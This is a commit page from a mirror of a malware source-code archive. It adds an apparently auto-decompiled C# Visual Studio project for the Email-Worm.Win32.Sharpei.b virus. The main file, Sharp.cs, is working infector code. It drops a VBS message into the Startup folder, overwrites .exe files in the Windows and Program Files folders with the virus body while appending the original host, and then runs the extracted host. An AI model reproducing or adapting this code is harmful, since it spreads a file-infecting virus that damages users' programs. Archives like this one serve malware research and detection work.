mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-17 00:09:23 +00:00
auto-decompiled msil via petikvx
add
This commit is contained in:
vxunderground
+13
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using System.Reflection;
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[assembly: AssemblyCopyright("")]
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[assembly: AssemblyKeyFile("")]
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[assembly: AssemblyDelaySign(false)]
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[assembly: AssemblyTrademark("")]
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[assembly: AssemblyKeyName("")]
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[assembly: AssemblyProduct("")]
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[assembly: AssemblyCompany("")]
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[assembly: AssemblyConfiguration("")]
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[assembly: AssemblyDescription("")]
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[assembly: AssemblyTitle("")]
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[assembly: AssemblyVersion("1.0.786.1197")]
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+43
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<?xml version="1.0" encoding="utf-8"?>
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<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Email-Worm.Win32.Sharpei.b-ba994d47dbed6b77d6a39746bae626cc7cace4153e6108ee5e22a375dc335b84.exe-->
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<PropertyGroup>
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<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
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<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
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<ProjectGuid>{3AB86921-A569-4B25-8BDA-B5539F274189}</ProjectGuid>
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<OutputType>WinExe</OutputType>
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<AssemblyName>Sharp</AssemblyName>
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<ApplicationVersion>1.0.786.1197</ApplicationVersion>
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<RootNamespace>Sharp</RootNamespace>
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</PropertyGroup>
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<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
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<PlatformTarget>AnyCPU</PlatformTarget>
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<DebugSymbols>true</DebugSymbols>
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<DebugType>full</DebugType>
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<Optimize>false</Optimize>
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<OutputPath>bin\Debug\</OutputPath>
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<DefineConstants>DEBUG;TRACE</DefineConstants>
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<ErrorReport>prompt</ErrorReport>
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<WarningLevel>4</WarningLevel>
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</PropertyGroup>
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<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
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<PlatformTarget>AnyCPU</PlatformTarget>
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<DebugType>pdbonly</DebugType>
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<Optimize>true</Optimize>
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<OutputPath>bin\Release\</OutputPath>
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<DefineConstants>TRACE</DefineConstants>
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<ErrorReport>prompt</ErrorReport>
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<WarningLevel>4</WarningLevel>
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</PropertyGroup>
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<ItemGroup>
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<Reference Include="System" />
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</ItemGroup>
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<ItemGroup>
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<Compile Include="Sharp.cs" />
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<Compile Include="AssemblyInfo.cs" />
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</ItemGroup>
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<ItemGroup>
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<EmbeddedResource Include="Sharp.resx" />
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</ItemGroup>
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<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
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</Project>
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+20
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Microsoft Visual Studio Solution File, Format Version 9.00
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# Visual Studio 2005
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Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Sharp", "Email-Worm.Win32.Sharpei.b-ba994d47dbed6b77d6a39746bae626cc7cace4153e6108ee5e22a375dc335b84.csproj", "{3AB86921-A569-4B25-8BDA-B5539F274189}"
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EndProject
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Global
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GlobalSection(SolutionConfigurationPlatforms) = preSolution
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Debug|Any CPU = Debug|Any CPU
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Release|Any CPU = Release|Any CPU
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EndGlobalSection
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GlobalSection(ProjectConfigurationPlatforms) = postSolution
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{3AB86921-A569-4B25-8BDA-B5539F274189}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
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{3AB86921-A569-4B25-8BDA-B5539F274189}.Debug|Any CPU.Build.0 = Debug|Any CPU
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{3AB86921-A569-4B25-8BDA-B5539F274189}.Release|Any CPU.ActiveCfg = Release|Any CPU
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{3AB86921-A569-4B25-8BDA-B5539F274189}.Release|Any CPU.Build.0 = Release|Any CPU
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EndGlobalSection
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GlobalSection(SolutionProperties) = preSolution
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HideSolutionNode = FALSE
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EndGlobalSection
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EndGlobal
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+86
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// Decompiled with JetBrains decompiler
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// Type: Sharp.Sharp
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// Assembly: Sharp, Version=1.0.786.1197, Culture=neutral, PublicKeyToken=null
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// MVID: C5414447-1586-4206-9133-31D57E99CDF8
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// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Email-Worm.Win32.Sharpei.b-ba994d47dbed6b77d6a39746bae626cc7cace4153e6108ee5e22a375dc335b84.exe
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using Microsoft.Win32;
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using System;
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using System.Diagnostics;
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using System.IO;
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namespace Sharp
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{
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public class Sharp
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{
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private static string virname = (string) Registry.LocalMachine.OpenSubKey("Software\\Sharp").GetValue("");
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[STAThread]
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private static void Main()
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{
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StreamWriter text = new FileInfo(new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).FullName + "\\Sharp.vbs").CreateText();
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text.Write("MsgBox \"You're infected with Win32.HLLP.Sharp, written in C#, by Gigabyte/Metaphase\",64,\"title\"");
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text.Close();
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string fullName = new DirectoryInfo(Environment.SystemDirectory).Parent.FullName;
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string[] directories = Directory.GetDirectories(new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles)).FullName, "*.*");
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Sharp.Sharp.FileSearch(fullName);
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Sharp.Sharp.FileSearch(directories[11]);
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Sharp.Sharp.FileSearch(directories[12]);
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Sharp.Sharp.FileSearch(directories[13]);
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FileStream fileStream1 = new FileStream(Sharp.Sharp.virname, FileMode.Open, FileAccess.Read);
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FileStream fileStream2 = new FileStream("temp.exe", FileMode.OpenOrCreate);
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byte[] buffer = new byte[(int) checked ((uint) unchecked ((int) fileStream1.Length - 12288))];
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fileStream1.Seek(12288L, SeekOrigin.Begin);
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fileStream1.Read(buffer, 0, (int) fileStream1.Length - 12288);
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fileStream2.Write(buffer, 0, (int) fileStream1.Length - 12288);
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long length = fileStream2.Length;
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fileStream2.Close();
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if (length > 0L && !Sharp.Sharp.virname.EndsWith("MS02-010.exe"))
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new Process() { StartInfo = { FileName = "temp.exe" } }.Start();
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while (File.Exists("temp.exe"))
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{
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try
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{
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File.Delete("temp.exe");
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}
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catch
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{
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}
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}
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}
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private static void FileSearch(string DirectoryToCheck)
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{
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string[] files = Directory.GetFiles(DirectoryToCheck, "*.exe");
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int length = files.Length;
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for (int index = 0; index < length; ++index)
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{
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string str = files[index];
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FileStream fileStream1 = new FileStream(str, FileMode.Open, FileAccess.Read);
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fileStream1.Seek(18L, SeekOrigin.Begin);
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int num = fileStream1.ReadByte();
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fileStream1.Close();
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if (num != 103)
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{
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try
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{
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File.SetAttributes(str, FileAttributes.Normal);
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File.Copy(str, "hostcopy.exe", true);
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File.Copy(Sharp.Sharp.virname, str, true);
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FileStream fileStream2 = new FileStream("hostcopy.exe", FileMode.Open);
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FileStream fileStream3 = new FileStream(str, FileMode.Append);
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byte[] buffer = new byte[(int) checked ((uint) unchecked ((int) fileStream2.Length))];
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fileStream2.Read(buffer, 0, (int) fileStream2.Length);
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fileStream3.Write(buffer, 0, (int) fileStream2.Length);
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fileStream2.Close();
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fileStream3.Close();
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}
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catch
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{
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}
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}
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}
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File.Delete("hostcopy.exe");
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}
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}
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}
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+120
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<?xml version="1.0" encoding="utf-8"?>
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<root>
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<!--
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Microsoft ResX Schema
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Version 2.0
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The primary goals of this format is to allow a simple XML format
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that is mostly human readable. The generation and parsing of the
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various data types are done through the TypeConverter classes
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associated with the data types.
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Example:
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... ado.net/XML headers & schema ...
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<resheader name="resmimetype">text/microsoft-resx</resheader>
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<resheader name="version">2.0</resheader>
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<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
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<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
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<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
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<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
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<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
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<value>[base64 mime encoded serialized .NET Framework object]</value>
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</data>
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<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
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<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
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<comment>This is a comment</comment>
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</data>
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There are any number of "resheader" rows that contain simple
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name/value pairs.
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Each data row contains a name, and value. The row also contains a
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type or mimetype. Type corresponds to a .NET class that support
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text/value conversion through the TypeConverter architecture.
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Classes that don't support this are serialized and stored with the
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mimetype set.
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The mimetype is used for serialized objects, and tells the
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ResXResourceReader how to depersist the object. This is currently not
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extensible. For a given mimetype the value must be set accordingly:
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Note - application/x-microsoft.net.object.binary.base64 is the format
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that the ResXResourceWriter will generate, however the reader can
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read any of the formats listed below.
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mimetype: application/x-microsoft.net.object.binary.base64
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value : The object must be serialized with
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: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
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: and then encoded with base64 encoding.
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mimetype: application/x-microsoft.net.object.soap.base64
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value : The object must be serialized with
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: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
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: and then encoded with base64 encoding.
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mimetype: application/x-microsoft.net.object.bytearray.base64
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value : The object must be serialized into a byte array
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: using a System.ComponentModel.TypeConverter
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: and then encoded with base64 encoding.
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-->
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<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
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<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
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<xsd:element name="root" msdata:IsDataSet="true">
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<xsd:complexType>
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<xsd:choice maxOccurs="unbounded">
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<xsd:element name="metadata">
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<xsd:complexType>
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<xsd:sequence>
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<xsd:element name="value" type="xsd:string" minOccurs="0" />
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</xsd:sequence>
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<xsd:attribute name="name" use="required" type="xsd:string" />
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<xsd:attribute name="type" type="xsd:string" />
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<xsd:attribute name="mimetype" type="xsd:string" />
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<xsd:attribute ref="xml:space" />
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</xsd:complexType>
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</xsd:element>
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<xsd:element name="assembly">
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<xsd:complexType>
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<xsd:attribute name="alias" type="xsd:string" />
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<xsd:attribute name="name" type="xsd:string" />
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</xsd:complexType>
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</xsd:element>
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<xsd:element name="data">
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<xsd:complexType>
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<xsd:sequence>
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<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
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<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
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</xsd:sequence>
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<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
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<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
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<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
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<xsd:attribute ref="xml:space" />
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</xsd:complexType>
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</xsd:element>
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<xsd:element name="resheader">
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<xsd:complexType>
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<xsd:sequence>
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<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
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</xsd:sequence>
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<xsd:attribute name="name" type="xsd:string" use="required" />
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</xsd:complexType>
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</xsd:element>
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</xsd:choice>
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</xsd:complexType>
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</xsd:element>
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</xsd:schema>
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<resheader name="resmimetype">
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<value>text/microsoft-resx</value>
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</resheader>
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<resheader name="version">
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<value>2.0</value>
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</resheader>
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<resheader name="reader">
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<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
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</resheader>
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<resheader name="writer">
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<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
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</resheader>
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</root>
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